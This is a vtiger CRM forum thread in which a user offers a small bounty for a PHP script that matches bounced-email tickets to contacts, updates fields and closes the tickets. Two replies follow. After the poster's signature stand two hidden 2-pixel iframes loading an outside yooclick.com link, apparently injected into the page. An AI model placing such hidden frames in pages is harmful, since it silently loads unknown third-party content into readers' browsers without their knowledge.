Feeler: Function to process email bounces in ticket queue

We've got vtiger 5.2.1 running and have used it for a couple mass mailings. As a result, we got back many email bounce messages (over 1,000). We have the mail scanner set up to bring all those messages into vtiger as Tickets. But now we need a way to automatically process such bounce messages. It will take us many, many hours (I'm thinking it will be days and days and weeks) to process the list manually because for each bounce, we want to:
- associate each bounced email message to the account that matches the email that bounced
- change at least one field in that ticket to indicate that the ticket refers to a bounced email
- change the status of the ticket to closed
- remove the bad email address from the associated contact
- remove at least one picklist entry from a custom field in that same associated contact (we use several multiple entry combo fields to "subscribe" contacts to the various kinds of mailings that we send out)
- insert a "bounce date" value in a custom date field in that same associated contact

Someone who knows their PHP and their vtiger, may be able to use the bounce rules that are found in PHPMailer-BMH (Bounce Mail Handler) as the basis of their bounce evaluation script:
<!-- m --><a class="postlink" href="http://phpmailer.worxware.com/index.php?pg=bmh">http://phpmailer.worxware.com/index.php?pg=bmh</a><!-- m -->

Or that may be an extra level of complication we don't even need. The bounces are already being filtered via a list of simple subject line "rules" in an Outlook email account, so it may be possible to select tickets simply using the same set of subject line rules. The advantage of using the PHPMailer pre-set rules is that they differentiate between "soft" "hard" "temporary" etc. bounces. And some form of that analysis will be needed.

So after identifying which tickets are bounces and deciding whether the bounce can be dealt with by automatically removing a bad email address, the script will need to pull the correct email address out of the ticket body and then do a search of the vtiger contacts to find the corresponding contact (if it exists), and then to make the various changes to that contact and to the ticket itself.

I've made it sound more complicated than I think it actually is, simply because I've detailed exactly all the individual steps that I think are needed.

We may try to do this ourselves, but I thought I'd post in the bounty forum to see if I got any interest and to see what kind of budget I should be looking at to get this done. We don't have thousands of (Canadian) dollars, we have hundreds. If it's a couple hundred dollars, then we will surely hire someone to do it. If it is more than a couple, then contact me with a quote and I can bring it back to my budget team. Canadian dollars are close to par with U.S. dollars right now.

Don't hesitate to let me know if you think my budget is unreasonable.

We would expect the code to be released to the vtiger community once it was working -- ideally in an identical format to what we needed to use, and coded in a way that our customizations were configured as variables.

Interested parties can contact me directly, or send PMs, or post here in this thread. My email address is my vtiger login AT iwh.on.ca.

Philip Kiff. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 3 Comments sorted by Votes Date Added
  • i can get it done for you on a one time basis (with you forwarding all bounced emails for processing) and setting up a system for you to process them on a re-occurring basis

    i had the same issue with email address buried within the body of the reply message that i had to extract via scripting
  • i was thinking about this a bit more, and it occurred to me that i could reduce my requirements considerably and still get the core of the thing done.

    this approach would call for modifications to the mail scanner script that creates tickets from emails. what we need is to insert a new function in there that will associate tickets with the correct contact by doing a lookup on the bounced email. and that's it.

    all remaining functions we would handle ourselves either manually or by creating our own custom functions. it's just that that particular function is a bit too complex for us (meaning, me!) to manage easily.

    the largest time sucker in the manual process currently is the act of associating the correct contact with the bounce message, because that activity takes multiple steps, including cutting and pasting, and performing a database search.

    i've received one proposal so far, based on my first set of specs.

    phil.
Sign In or Register to comment.